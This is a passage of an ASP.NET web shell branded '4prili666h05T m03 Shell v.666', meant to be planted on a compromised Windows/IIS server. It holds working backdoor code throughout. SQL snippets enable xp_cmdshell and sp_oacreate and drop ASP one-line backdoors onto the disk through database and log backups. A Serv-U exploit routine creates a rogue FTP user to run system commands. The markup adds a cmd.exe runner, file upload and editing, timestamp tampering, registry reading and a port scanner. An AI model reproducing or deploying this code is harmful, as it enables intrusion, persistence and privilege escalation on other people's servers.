  888. for (int i = 2; i < e.Item.Cells.Count; i++)
  889. {
  890. e.Item.Cells[i].Text = e.Item.Cells[i].Text.Replace("<", "&lt;").Replace(">", "&gt;");
  891. }
  892.  
  893. }
  894. protected void Bin_DBPage(object sender, DataGridPageChangedEventArgs e)
  895. {
  896. Bin_DataGrid.CurrentPageIndex = e.NewPageIndex;
  897. Bin_Databind();
  898. }
  899. public void Item_Command(object sender, DataGridCommandEventArgs e)
  900. {
  901. if (e.CommandName == "Cancel")
  902. {
  903. Bin_DataGrid.EditItemIndex = -1;
  904. Bin_Databind();
  905. }
  906. }
  907.  
  908. protected void Bin_ExecButton_Click(object sender, EventArgs e)
  909. {
  910. try
  911. {
  912.  
  913. Bin_Scroll.Visible = true;
  914. Bin_DataGrid.Visible = true;
  915. Bin_DataGrid.AllowPaging = true;
  916. Bin_Accbind();
  917. if (Bin_SQLRadioButton.Checked)
  918. {
  919. Bin_DBmenuPanel.Visible = true;
  920. }
  921. string sqlstr = Bin_DBstrTextBox.Text;
  922. sqlstr = sqlstr.TrimStart().ToLower();
  923. if (sqlstr.Substring(0, 6) == "select")
  924. {
  925. DataTable databind = Bin_DataTable(sqlstr);
  926. Bin_DataGrid.DataSource = databind;
  927. Bin_DataGrid.DataBind();
  928. }
  929. else
  930. {
  931. Bin_ExecSql(sqlstr);
  932. Bin_Databind();
  933. }
  934. }
  935. catch(Exception error)
  936. {
  937. Bin_Error(error.Message);
  938. }
  939. }
  940.  
  941. protected void Bin_BDButton_Click(object sender, EventArgs e)
  942. {
  943. Bin_DBinfoLabel.Visible = false;
  944. Bin_Accbind();
  945. Bin_DBmenuPanel.Visible = true;
  946. Bin_DataGrid.Visible = false;
  947. Bin_DataGrid.AllowPaging = true;
  948. Bin_Scroll.Visible = false;
  949. Bin_DBstrTextBox.Text = "";
  950. Bin_SAexecButton.Visible = false;
  951. Bin_ResLabel.Visible = false;
  952. Bin_dirPanel.Visible = false;
  953.  
  954. }
  955.  
  956. protected void Bin_SACMDButton_Click(object sender, EventArgs e)
  957. {
  958. Bin_DBinfoLabel.Visible = false;
  959. Bin_DataGrid.Visible = false;
  960. Bin_Scroll.Visible = false;
  961. Bin_SAexecButton.Visible = true;
  962. Bin_Change();
  963. Bin_ExecButton.Visible = false;
  964. Bin_ResLabel.Visible = false;
  965. Session["Bin_Option"] = null;
  966. Bin_dirPanel.Visible = false;
  967.  
  968. }
  969. public void Bin_Change()
  970. {
  971. Bin_ExecButton.Visible = false;
  972. string select = "<input type=hidden name=goaction><input type=hidden name=todo><input type=hidden name=intext><select onchange=if(this.value!='')Command('changedata',this);><option>SQL Server Exec<option value=\"Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll')\">Add sp_oacreate<option value=\"Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll')\">Add xp_cmdshell<option value=\"Exec master.dbo.xp_cmdshell 'net user'\">Add xp_cmdshell<option value=\"EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;\">Add xp_cmdshell(SQL2005)<option value=\"Exec master.dbo.xp_cmdshell 'net user'\">XP_cmdshell exec<option value=\"Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^&lt;%execute(request(char(35)))%^> > c:\\1.asp';\">SP_oamethod exec<option value=\"sp_makewebtask @outputfile='d:\\web\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))" + "%" + ">''' \">SP_makewebtask make file";
  973. if (Session["Bin_Option"] != null)
  974. {
  975. select += "<option SELECTED>" + Session["Bin_Option"] + "</option>";
  976. }
  977. select += "</select>";
  978. Bin_AccinfoLabel.Text = select;
  979. Bin_DataGrid.Visible = false;
  980. Bin_Scroll.Visible = false;
  981. }
  982.  
  983. protected void Bin_SAexecButton_Click(object sender, EventArgs e)
  984. {
  985. try
  986. {
  987. Bin_Change();
  988. Bin_DBinfoLabel.Visible = false;
  989. Bin_ExecButton.Visible = false;
  990. Bin_Scroll.Visible = false;
  991. Bin_DataGrid.Visible = false;
  992. Bin_DBmenuPanel.Visible = true;
  993. string sqlstr = Bin_DBstrTextBox.Text;
  994. DataTable databind = Bin_DataTable(sqlstr);
  995. string res = "";
  996. foreach (DataRow dr in databind.Rows)
  997. {
  998. for (int i = 0; i < databind.Columns.Count; i++)
  999. {
  1000. res += dr[i] + "\r";
  1001. }
  1002. }
  1003. Bin_ResLabel.Text = "<hr><div id=\"nei\"><PRE>" + res.Replace(" ", "&nbsp;").Replace("<", "&lt;").Replace(">", "&gt;") + "</PRE></div>";
  1004.  
  1005.  
  1006. }
  1007. catch (Exception error)
  1008. {
  1009. Bin_Error(error.Message);
  1010. }
  1011.  
  1012. }
  1013.  
  1014. protected void Bin_DirButton_Click(object sender, EventArgs e)
  1015. {
  1016. Bin_dirPanel.Visible = true;
  1017. Bin_AccPanel.Visible = false;
  1018. Bin_DBinfoLabel.Visible = false;
  1019. Bin_DataGrid.Visible = false;
  1020. Bin_Scroll.Visible = false;
  1021. }
  1022.  
  1023. protected void Bin_listButton_Click(object sender, EventArgs e)
  1024. {
  1025. Bin_dirPanel.Visible = true;
  1026. Bin_AccPanel.Visible = false;
  1027. Bin_DBinfoLabel.Visible = false;
  1028. Bin_SqlDir();
  1029. }
  1030. public void Bin_SqlDir()
  1031. {
  1032. try
  1033. {
  1034. Bin_DataGrid.Visible = true;
  1035. Bin_Scroll.Visible = true;
  1036. Bin_DataGrid.AllowPaging = false;
  1037. string exesql = "use pubs;if exists (select * from sysobjects where id = object_id(N'[bin_dir]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table [bin_dir]; CREATE TABLE bin_dir(DirName VARCHAR(400), DirAtt VARCHAR(400),DirFile VARCHAR(400)) INSERT bin_dir EXEC MASTER..XP_dirtree '" + Bin_DirTextBox.Text + "',1,1;";
  1038. Bin_ExecSql(exesql);
  1039. DataTable sql_dir = Bin_DataTable("select * from bin_dir");
  1040. Bin_DataGrid.DataSource = sql_dir;
  1041. Bin_DataGrid.DataBind();
  1042. }
  1043. catch (Exception e)
  1044. {
  1045. Bin_Error(e.Message);
  1046. }
  1047. }
  1048.  
  1049. protected void Bin_SuButton_Click(object sender, EventArgs e)
  1050. {
  1051. Bin_CmdPanel.Visible = false;
  1052. Bin_SQLPanel.Visible = false;
  1053. Bin_SuPanel.Visible = true;
  1054. Bin_IISPanel.Visible = false;
  1055. Bin_SuresLabel.Text = "";
  1056. Bin_LoginPanel.Visible = false;
  1057. Bin_RegPanel.Visible = false;
  1058. Bin_PortPanel.Visible = false;
  1059. }
  1060.  
  1061. protected void Bin_dbshellButton_Click(object sender, EventArgs e)
  1062. {
  1063. Bin_DBinfoLabel.Visible = false;
  1064. Bin_AccPanel.Visible = false;
  1065. Bin_BakDB();
  1066. }
  1067. public void Bin_BakDB()
  1068. {
  1069. string path = Bin_DirTextBox.Text.Trim();
  1070. if (path.Substring(path.Length - 1, 1) == @"\")
  1071. {
  1072. path = path + "bin.asp";
  1073. }
  1074. else
  1075. {
  1076. path = path + @"\bin.asp";
  1077. }
  1078. string sql = "if exists (select * from sysobjects where id = object_id(N'[bin_cmd]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table [bin_cmd];create table [bin_cmd] ([cmd] [image]);declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x62696E backup database @a to disk = @s;insert into [bin_cmd](cmd) values(0x3C256578656375746520726571756573742822422229253E);declare @b sysname,@t nvarchar(4000) select @b=db_name(),@t='" + path + "' backup database @b to disk = @t WITH DIFFERENTIAL,FORMAT;drop table [bin_cmd];";
  1079. Bin_ExecSql(sql);
  1080. Bin_SqlDir();
  1081. }
  1082. public void Bin_BakLog()
  1083. {
  1084. string path = Bin_DirTextBox.Text.Trim();
  1085. if (path.Substring(path.Length - 1, 1) == @"\")
  1086. {
  1087. path = path + "bin.asp";
  1088. }
  1089. else
  1090. {
  1091. path = path + @"\bin.asp";
  1092. }
  1093. string sql = "if exists (select * from sysobjects where id = object_id(N'[bin_cmd]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table [bin_cmd];create table [bin_cmd] ([cmd] [image]);declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x62696E backup log @a to disk = @s;insert into [bin_cmd](cmd) values(0x3C256578656375746520726571756573742822422229253E);declare @b sysname,@t nvarchar(4000) select @b=db_name(),@t='" + path + "' backup log @b to disk=@t with init,no_truncate;drop table [bin_cmd];";
  1094. Bin_ExecSql(sql);
  1095. Bin_SqlDir();
  1096. }
  1097.  
  1098. protected void Bin_LogshellButton_Click(object sender, EventArgs e)
  1099. {
  1100. Bin_DBinfoLabel.Visible = false;
  1101. Bin_AccPanel.Visible = false;
  1102. Bin_BakLog();
  1103. }
  1104.  
  1105. protected void Bin_SuexpButton_Click(object sender, EventArgs e)
  1106. {
  1107. string Result = "";
  1108. string user = Bin_SunameTextBox.Text;
  1109. string pass = Bin_SupassTextBox.Text;
  1110. int port = Int32.Parse(Bin_SuportTextBox.Text);
  1111. string cmd = Bin_SucmdTextBox.Text;
  1112. string loginuser = "user " + user + "\r\n";
  1113. string loginpass = "pass " + pass + "\r\n";
  1114. string site = "SITE MAINTENANCE\r\n";
  1115. string deldomain = "-DELETEDOMAIN\r\n-IP=0.0.0.0\r\n PortNo=52521\r\n";
  1116. string setdomain = "-SETDOMAIN\r\n-Domain=BIN|0.0.0.0|52521|-1|1|0\r\n-TZOEnable=0\r\n TZOKey=\r\n";
  1117. string newdomain = "-SETUSERSETUP\r\n-IP=0.0.0.0\r\n-PortNo=52521\r\n-User=bin\r\n-Password=binftp\r\n-HomeDir=c:\\\r\n-LoginMesFile=\r\n-Disable=0\r\n-RelPaths=1\r\n-NeedSecure=0\r\n-HideHidden=0\r\n-AlwaysAllowLogin=0\r\n-ChangePassword=0\r\n-QuotaEnable=0\r\n-MaxUsersLoginPerIP=-1\r\n-SpeedLimitUp=0\r\n-SpeedLimitDown=0\r\n-MaxNrUsers=-1\r\n-IdleTimeOut=600\r\n-SessionTimeOut=-1\r\n-Expire=0\r\n-RatioDown=1\r\n-RatiosCredit=0\r\n-QuotaCurrent=0\r\n-QuotaMaximum=0\r\n-Maintenance=System\r\n-PasswordType=Regular\r\n-Ratios=NoneRN\r\n Access=c:\\|RWAMELCDP\r\n";
  1118. string quite = "QUIT\r\n";
  1119. try
  1120. {
  1121. TcpClient tcp = new TcpClient("127.0.0.1", port);
  1122. tcp.ReceiveBufferSize = 1024;
  1123. NetworkStream NS = tcp.GetStream();
  1124. Result = Rev(NS);
  1125. Result += Send(NS, loginuser);
  1126. Result += Rev(NS);
  1127. Result += Send(NS, loginpass);
  1128. Result += Rev(NS);
  1129. Result += Send(NS, site);
  1130. Result += Rev(NS);
  1131. Result += Send(NS, deldomain);
  1132. Result += Rev(NS);
  1133. Result += Send(NS, setdomain);
  1134. Result += Rev(NS);
  1135. Result += Send(NS, newdomain);
  1136. Result += Rev(NS);
  1137. TcpClient tcp1 = new TcpClient("127.0.0.1", 52521);
  1138. NetworkStream NS1 = tcp1.GetStream();
  1139. Result += Rev(NS1);
  1140. Result += Send(NS1, "user bin\r\n");
  1141. Result += Rev(NS1);
  1142. Result += Send(NS1, "pass binftp\r\n");
  1143. Result += Rev(NS1);
  1144. Result += Send(NS1, "site exec " + cmd + "\r\n");
  1145. Result += Rev(NS1);
  1146. tcp1.Close();
  1147. Result += Send(NS, deldomain);
  1148. Result += Rev(NS);
  1149. Result += Send(NS, quite);
  1150. Result += Rev(NS);
  1151. tcp.Close();
  1152. }
  1153. catch (Exception error)
  1154. {
  1155. Bin_Error(error.Message);
  1156. }
  1157. Bin_SuresLabel.Text = "<div id=\"su\"><pre>" + Result + "</pre></div>";
  1158.  
  1159.  
  1160. }
  1161. protected string Rev(NetworkStream instream)
  1162. {
  1163. string Restr = "";
  1164. if (instream.CanRead)
  1165. {
  1166. byte[] buffer = new byte[1024];
  1167. instream.Read(buffer, 0, buffer.Length);
  1168. Restr = Encoding.ASCII.GetString(buffer);
  1169. }
  1170. return "<font color = red>" + Restr + "</font><br>";
  1171.  
  1172. }
  1173. protected string Send(NetworkStream instream,string Sendstr)
  1174. {
  1175. if (instream.CanWrite)
  1176. {
  1177. byte[] buffer = Encoding.ASCII.GetBytes(Sendstr);
  1178. instream.Write(buffer, 0, buffer.Length);
  1179. }
  1180. return "<font color = blue>" + Sendstr + "</font><br>";
  1181. }
  1182. protected void Bin_IISButton_Click(object sender, EventArgs e)
  1183. {
  1184. Bin_LoginPanel.Visible = false;
  1185. Bin_MainPanel.Visible = false;
  1186. Bin_MenuPanel.Visible = true;
  1187. Bin_FilePanel.Visible = false;
  1188. Bin_CmdPanel.Visible = false;
  1189. Bin_SQLPanel.Visible = false;
  1190. Bin_SuPanel.Visible = false;
  1191. Bin_IISPanel.Visible = true;
  1192. Bin_RegPanel.Visible = false;
  1193. Bin_PortPanel.Visible = false;
  1194. Bin_iisLabel.Text = Bin_iisinfo();
  1195.  
  1196. }
  1197.  
  1198. protected void Bin_PortButton_Click(object sender, EventArgs e)
  1199. {
  1200. Bin_MenuPanel.Visible = true;
  1201. Bin_LoginPanel.Visible = false;
  1202. Bin_CmdPanel.Visible = false;
  1203. Bin_SQLPanel.Visible = false;
  1204. Bin_SuPanel.Visible = false;
  1205. Bin_IISPanel.Visible = false;
  1206. Bin_RegPanel.Visible = false;
  1207. Bin_PortPanel.Visible = true;
  1208. Bin_ScanresLabel.Text = "";
  1209. }
  1210.  
  1211. protected void Bin_RegButton_Click(object sender, EventArgs e)
  1212. {
  1213. Bin_MenuPanel.Visible = true;
  1214. Bin_LoginPanel.Visible = false;
  1215. Bin_CmdPanel.Visible = false;
  1216. Bin_SQLPanel.Visible = false;
  1217. Bin_SuPanel.Visible = false;
  1218. Bin_IISPanel.Visible = false;
  1219. Bin_RegPanel.Visible = true;
  1220. Bin_PortPanel.Visible = false;
  1221. Bin_RegresLabel.Text = "";
  1222.  
  1223. }
  1224.  
  1225. protected void Bin_RegreadButton_Click(object sender, EventArgs e)
  1226. {
  1227. try
  1228. {
  1229. string regkey = Bin_KeyTextBox.Text;
  1230. string subkey = regkey.Substring(regkey.IndexOf("\\") + 1, regkey.Length - regkey.IndexOf("\\") - 1);
  1231. RegistryKey rk = null;
  1232. if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_LOCAL_MACHINE")
  1233. {
  1234. rk = Registry.LocalMachine.OpenSubKey(subkey);
  1235. }
  1236. if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_CLASSES_ROOT")
  1237. {
  1238. rk = Registry.ClassesRoot.OpenSubKey(subkey);
  1239. }
  1240. if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_CURRENT_USER")
  1241. {
  1242. rk = Registry.CurrentUser.OpenSubKey(subkey);
  1243. }
  1244. if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_USERS")
  1245. {
  1246. rk = Registry.Users.OpenSubKey(subkey);
  1247. }
  1248. if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_CURRENT_CONFIG")
  1249. {
  1250. rk = Registry.CurrentConfig.OpenSubKey(subkey);
  1251. }
  1252.  
  1253. Bin_RegresLabel.Text = "<br>Result : " + rk.GetValue(Bin_ValueTextBox.Text, "NULL").ToString();
  1254. }
  1255. catch (Exception error)
  1256. {
  1257. Bin_Error(error.Message);
  1258. }
  1259. }
  1260.  
  1261. protected void Bin_ScancmdButton_Click(object sender, EventArgs e)
  1262. {
  1263. try
  1264. {
  1265. string res = "";
  1266. string[] port = Bin_PortsTextBox.Text.Split(',');
  1267. for (int i = 0; i < port.Length; i++)
  1268. {
  1269. res += Bin_Scan(Bin_ScanipTextBox.Text, Int32.Parse(port[i])) + "<br>";
  1270. }
  1271. Bin_ScanresLabel.Text = "<hr>" + res;
  1272. }
  1273. catch (Exception error)
  1274. {
  1275. Bin_Error(error.Message);
  1276. }
  1277. }
  1278. protected string Bin_Scan(string ip, int port)
  1279. {
  1280.  
  1281. string scanres = "";
  1282. TcpClient tcp = new TcpClient();
  1283. tcp.SendTimeout = tcp.ReceiveTimeout = 2000;
  1284. try
  1285. {
  1286. tcp.Connect(ip, port);
  1287. tcp.Close();
  1288. scanres = ip + " : " + port + " ................................. <font color=green><b>Open</b></font>";
  1289. }
  1290. catch (SocketException e)
  1291. {
  1292. scanres = ip + " : " + port + " ................................. <font color=red><b>Close</b></font>";
  1293. }
  1294. return scanres;
  1295. }
  1296. </script>
  1297.  
  1298.  
  1299.  
  1300.  
  1301.  
  1302.  
  1303. <html xmlns="http://www.w3.org/1999/xhtml" >
  1304. <head runat="server">
  1305.  
  1306. <title>4prili666h05T m03 Shell v.666</title>
  1307.  
  1308. <style type="text/css">
  1309. body{
  1310. background-attachment: fixed;
  1311. background-image: url(https://timsterhowdarei.files.wordpress.com/2010/06/hackerbynight-431284.jpeg);
  1312. background-color:#0A0A0A;color:#e1e1e1;
  1313. opacity: 0.7;
  1314. }
  1315. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#FFFFFF; }
  1316. table.info{ color:#fff; background-color:#000000; }
  1317. span,a{ color: #00b3ff !important; }
  1318. span{ font-weight: bolder; }
  1319. h1{ border-center:5px solid #00b3ff;padding: 2px 5px;font: 14pt Verdana;background-color:#000000;margin:0px;color:red; }
  1320. div.content{ padding: 5px;margin-center:5px;background-color:#333; }
  1321. a{ text-decoration:none; }
  1322. a:hover{ text-decoration:underline; }
  1323. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  1324. .bigarea{ width:100%;height:250px; }
  1325. input,textarea,select{ margin:0;color:#fff;background-color:#000000;border:1px solid #00b3ff; font: 9pt Monospace,'Courier New'; }
  1326. form{ margin:0px; }
  1327. #toolsTbl{ text-align:center; }
  1328. .toolsInp{ width: 300px }
  1329. .main th{text-align:center;background-color:#5e5e5e;}
  1330. .main tr:hover{background-color:#000000;}
  1331. .l1{background-color:#444}
  1332. .l2{background-color:#333}
  1333. pre{font-family:Courier,Monospace;}
  1334. </style>
  1335. </style>
  1336.  
  1337. <script type="text/javascript" language="javascript" >
  1338. function Command(cmd, str)
  1339. {
  1340. var strTmp = str;
  1341. var frm = document.forms[0];
  1342. if(cmd == 'del')
  1343. {
  1344. if(confirm('Del It ?'))
  1345. {
  1346. frm.todo.value = str;
  1347. frm.goaction.value = cmd;
  1348. frm.submit();
  1349. }
  1350. else return;
  1351. }
  1352. if (cmd == 'change')
  1353. {
  1354. frm.todo.value = str;
  1355. frm.goaction.value = cmd;
  1356. frm.submit();
  1357. }
  1358. if (cmd == 'down')
  1359. {
  1360. frm.todo.value = str;
  1361. frm.goaction.value = cmd;
  1362. frm.submit();
  1363. }
  1364. if (cmd == 'showatt')
  1365. {
  1366. frm.todo.value = str;
  1367. frm.goaction.value = cmd;
  1368. frm.submit();
  1369. }
  1370. if (cmd == 'edit')
  1371. {
  1372. frm.todo.value = str;
  1373. frm.goaction.value = cmd;
  1374. frm.submit();
  1375. }
  1376. if (cmd == 'deldir')
  1377. {
  1378. if(confirm('Del It ?'))
  1379. {
  1380. frm.todo.value = str;
  1381. frm.goaction.value = cmd;
  1382. frm.submit();
  1383. }
  1384. else return;
  1385. }
  1386. if(cmd == 'rename' )
  1387. {
  1388. frm.goaction.value = cmd;
  1389. frm.todo.value = str + ',';
  1390. str = prompt('Please input new filename:', strTmp);
  1391. if(str && (strTmp != str))
  1392. {
  1393. frm.todo.value += str;
  1394. frm.submit();
  1395. }
  1396. else return;
  1397. }
  1398. if(cmd == 'renamedir' )
  1399. {
  1400. frm.goaction.value = cmd;
  1401. frm.todo.value = str + ',';
  1402. str = prompt('Please input new foldername:', strTmp);
  1403. if(str && (strTmp != str))
  1404. {
  1405. frm.todo.value += str;
  1406. frm.submit();
  1407. }
  1408. else return;
  1409. }
  1410. if (cmd == 'postdata')
  1411. {
  1412. frm.todo.value = str.value;
  1413. frm.goaction.value = cmd;
  1414. frm.submit();
  1415. }
  1416. if (cmd == 'changedata')
  1417. {
  1418. frm.todo.value = str.value;
  1419. frm.intext.value = str.options[str.selectedIndex].innerText
  1420. frm.goaction.value = cmd;
  1421. frm.submit();
  1422. }
  1423. }
  1424.  
  1425. </script>
  1426. </head>
  1427.  
  1428.  
  1429. <body align="center">
  1430. <form id="form1" runat="server"><div style="text-align: center"><asp:Panel ID="Bin_LoginPanel" runat="server" Height="47px" Width="1270px" align="center">
  1431. <asp:Label ID="PassLabel" runat="server" Text="Password:"></asp:Label>
  1432. <asp:TextBox ID="passtext" runat="server" TextMode="Password" Width="203px"></asp:TextBox>
  1433. <asp:Button ID="LoginButton" runat="server" Text="Enter" OnClick="LoginButton_Click" /><p />
  1434. 4prili666h05T was Here -> <a href="https://www.facebook.com/aprilighost666" target="_blank">Find Me for Pass \m/</a></asp:Panel><asp:Panel ID="Bin_MenuPanel" runat="server" Height="56px" Width="1270px" align="center">
  1435. <asp:Label ID="TimeLabel" runat="server" Text="Label" Width="150px"></asp:Label><br />
  1436. <asp:Button ID="MainButton" runat="server" OnClick="MainButton_Click" Text="System" />
  1437. <asp:Button ID="Bin_IISButton" runat="server" OnClick="Bin_IISButton_Click" Text="Reverse Server" />
  1438. <asp:Button ID="FileButton" runat="server" OnClick="FileButton_Click" Text="Explorer" />
  1439. <asp:Button ID="Bin_CmdButton" runat="server" Text="Command" OnClick="Bin_CmdButton_Click" />
  1440. <asp:Button ID="Bin_SQLButton" runat="server" OnClick="Bin_SQLButton_Click" Text="Database" />&nbsp;<asp:Button
  1441. ID="Bin_SuButton" runat="server" OnClick="Bin_SuButton_Click" Text="SuExp" />
  1442. <asp:Button ID="Bin_PortButton" runat="server" Text="PortScan" OnClick="Bin_PortButton_Click" />
  1443. <asp:Button ID="Bin_RegButton" runat="server" Text="RegShell" OnClick="Bin_RegButton_Click" />
  1444. <asp:Button ID="LogoutButton" runat="server" OnClick="LogoutButton_Click" Text="Logout" /><br />
  1445. <asp:Label ID="Bin_ErrorLabel" runat="server" EnableViewState="False">Copyright (C) 2015 4prili666h05T -> <a href="https://www.facebook.com/aprilighost" target="_blank">https://4prili666h05t.my.id/</a> -> <a href="http://www.rootkit.net.cn/index.aspx" target="_blank">Reverse-IP</a> </asp:Label></asp:Panel>
  1446. <asp:Panel ID="Bin_MainPanel" runat="server" Width="1270px" EnableViewState="False" Visible="False" Height="20px">
  1447. <div style="text-align: center"><asp:Label ID="InfoLabel" runat="server" Width="765px" EnableViewState="False" ></asp:Label></div></asp:Panel><div style="text-align: center">
  1448. <asp:Panel ID="Bin_FilePanel" runat="server" Width="767px" EnableViewState="False" Visible="False"><div style="text-align: center"><asp:Label ID="Bin_FileLabel" runat="server" Text="Label" Width="764px"></asp:Label><br />
  1449. <asp:Label ID="Bin_UpfileLabel" runat="server" Text="Upfile : "></asp:Label>
  1450. <input class="TextBox" id="Bin_UpFile" type="file" name="upfile" runat="server" />&nbsp;<asp:TextBox ID="Bin_upTextBox" runat="server" Width="339px"></asp:TextBox>&nbsp;
  1451. <asp:Button ID="Bin_GoButton" runat="server" OnClick="Bin_GoButton_Click" Text="GO" />
  1452. <asp:Button ID="Bin_upButton" runat="server" Text="UpLoad" OnClick="Bin_upButton_Click" EnableViewState="False" /><br />
  1453. <asp:Label ID="Bin_CreateLabel" runat="server" Text="Create :"></asp:Label>
  1454. <asp:TextBox ID="Bin_CreateTextBox" runat="server"></asp:TextBox><asp:Button ID="Bin_NewFileButton"
  1455. runat="server" Text="NewFile" OnClick="Bin_NewFileButton_Click" />
  1456. <asp:Button ID="Bin_NewdirButton" runat="server" Text="NewDir" OnClick="Bin_NewdirButton_Click" />
  1457. <br />
  1458. <asp:Label ID="Bin_CopyLabel" runat="server" Text="Copy :" Width="39px"></asp:Label>
  1459. &nbsp;
  1460. <asp:TextBox ID="Bin_CopyTextBox" runat="server" Width="273px"></asp:TextBox>
  1461. <asp:Label ID="Bin_CopytoLable" runat="server" Text="To:"></asp:Label>
  1462. <asp:TextBox ID="Bin_CopytoTextBox" runat="server" Width="268px"></asp:TextBox>
  1463. <asp:Button ID="Bin_CopyButton" runat="server" Text="Copy" OnClick="Bin_CopyButton_Click" />
  1464. <asp:Button ID="Bin_CutButton" runat="server" Text="Cut" Width="46px" OnClick="Bin_CutButton_Click" />
  1465. <asp:Label ID="Bin_FilelistLabel" runat="server" EnableViewState="False"></asp:Label></div><div style="text-align: center">
  1466. <asp:Panel ID="Bin_AttPanel" runat="server" Width="765px" Visible="False"><hr />
  1467. FileName :
  1468. <asp:Label ID="Bin_AttLabel" runat="server" Text="Label"></asp:Label><br />
  1469. <asp:CheckBox ID="Bin_ReadOnlyCheckBox" runat="server" Text="ReadOnly" />
  1470. <asp:CheckBox ID="Bin_SystemCheckBox" runat="server" Text="System" />
  1471. <asp:CheckBox ID="Bin_HiddenCheckBox" runat="server" Text="Hidden" />
  1472. <asp:CheckBox ID="Bin_ArchiveCheckBox" runat="server" Text="Archive" />
  1473. <br />
  1474. CreationTime :
  1475. <asp:TextBox ID="Bin_CreationTimeTextBox" runat="server" Width="123px"></asp:TextBox>
  1476. LastWriteTime :
  1477. <asp:TextBox ID="Bin_LastWriteTimeTextBox" runat="server" Width="129px"></asp:TextBox>
  1478. LastAccessTime :
  1479. <asp:TextBox ID="Bin_AccessTimeTextBox" runat="server" Width="119px"></asp:TextBox><br />
  1480. <asp:Button ID="Bin_SetButton" runat="server" OnClick="Bin_SetButton_Click" Text="Set" />
  1481. <asp:Button ID="Bin_SbackButton" runat="server" OnClick="Bin_SbackButton_Click" Text="Back" />
  1482. <hr />
  1483. </asp:Panel></div>
  1484. <div style="text-align: center"><asp:Panel ID="Bin_EditPanel" runat="server" Visible="False"><hr style="width: 757px" />
  1485. Path:<asp:TextBox ID="Bin_EditpathTextBox" runat="server" Width="455px"></asp:TextBox><br />
  1486. <asp:TextBox ID="Bin_EditTextBox" runat="server" TextMode="MultiLine" Columns="100" Rows="25" Width="760px"></asp:TextBox><br />
  1487. <asp:Button ID="Bin_EditButton" runat="server" Text="Sumbit" OnClick="Bin_EditButton_Click" />&nbsp;<asp:Button
  1488. ID="Bin_BackButton" runat="server" OnClick="Bin_BackButton_Click" Text="Back" /></asp:Panel></div></asp:Panel></div>
  1489. <asp:Panel ID="Bin_CmdPanel" runat="server" Height="50px" Width="1270px"><hr />
  1490. CmdPath : &nbsp;<asp:TextBox ID="Bin_CmdPathTextBox" runat="server" Width="395px">C:\Windows\System32\Cmd.exe</asp:TextBox><br />
  1491. Argument :
  1492. <asp:TextBox ID="Bin_CmdShellTextBox" runat="server" Width="395px">/c Set</asp:TextBox><br />
  1493. <asp:Button ID="Bin_RunButton" runat="server" OnClick="Bin_RunButton_Click" Text="Run" />
  1494. <div style="text-align: center">
  1495. <asp:Label ID="Bin_CmdLabel" runat="server" EnableViewState="False"></asp:Label></div>
  1496. <hr /></asp:Panel>
  1497. <asp:Panel ID="Bin_SQLPanel" runat="server" Visible="False" Width="1270px">
  1498. <hr />
  1499. ConnString :
  1500. <asp:TextBox ID="Bin_SQLconnTextBox" runat="server" Width="547px">server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB</asp:TextBox><br />
  1501. <asp:RadioButton ID="Bin_SQLRadioButton" runat="server" AutoPostBack="True" OnCheckedChanged="Bin_SQLRadioButton_CheckedChanged" Text="MS-SQL" Checked="True" />
  1502. <asp:RadioButton ID="Bin_AccRadioButton" runat="server" AutoPostBack="True" OnCheckedChanged="Bin_AccRadioButton_CheckedChanged" Text="MS-Access" />
  1503. <asp:Button ID="SQL_SumbitButton" runat="server" Text="Sumbit" OnClick="SQL_SumbitButton_Click" /><hr />
  1504. <asp:Panel ID="Bin_DBmenuPanel" runat="server" Width="759px" Visible="False">
  1505. <asp:Button ID="Bin_BDButton" runat="server" Text="DataBase" OnClick="Bin_BDButton_Click" />
  1506. <asp:Button ID="Bin_SACMDButton" runat="server" Text="SA_Exec" OnClick="Bin_SACMDButton_Click" />
  1507. <asp:Button ID="Bin_DirButton" runat="server" Text="SQL_Dir" OnClick="Bin_DirButton_Click" /><br /><hr /><div style="text-align: center">
  1508. <asp:Label ID="Bin_DBinfoLabel" runat="server" Text="Label" EnableViewState="False"></asp:Label></div></asp:Panel>
  1509. <asp:Panel ID="Bin_AccPanel" runat="server" Height="50px" Width="759px" EnableViewState="False">
  1510. <asp:Label ID="Bin_AccinfoLabel" runat="server" Text="Label" EnableViewState="False"></asp:Label><br />
  1511. <asp:TextBox ID="Bin_DBstrTextBox" runat="server" TextMode="MultiLine" Width="569px"></asp:TextBox>
  1512. <asp:Button ID="Bin_ExecButton" runat="server" OnClick="Bin_ExecButton_Click" Text="Exec" />
  1513. <asp:Button ID="Bin_SAexecButton" runat="server" Text="SA_Exec" OnClick="Bin_SAexecButton_Click" /><br />
  1514. <div style="text-align:center">
  1515. <asp:Label ID="Bin_ResLabel" runat="server" ></asp:Label></div></asp:Panel>
  1516. <asp:Panel ID="Bin_dirPanel" runat="server" Visible="False" Width="759px">
  1517. Path :
  1518. <asp:TextBox ID="Bin_DirTextBox" runat="server" Width="447px">c:\</asp:TextBox>
  1519. <br />
  1520. <asp:Button ID="Bin_listButton" runat="server" OnClick="Bin_listButton_Click" Text="Dir" />&nbsp;<asp:Button
  1521. ID="Bin_dbshellButton" runat="server" OnClick="Bin_dbshellButton_Click" Text="Bak_DB" />
  1522. <asp:Button ID="Bin_LogshellButton" runat="server" Text="Bak_LOG" OnClick="Bin_LogshellButton_Click" /><hr /></asp:Panel>
  1523. <br /><br />
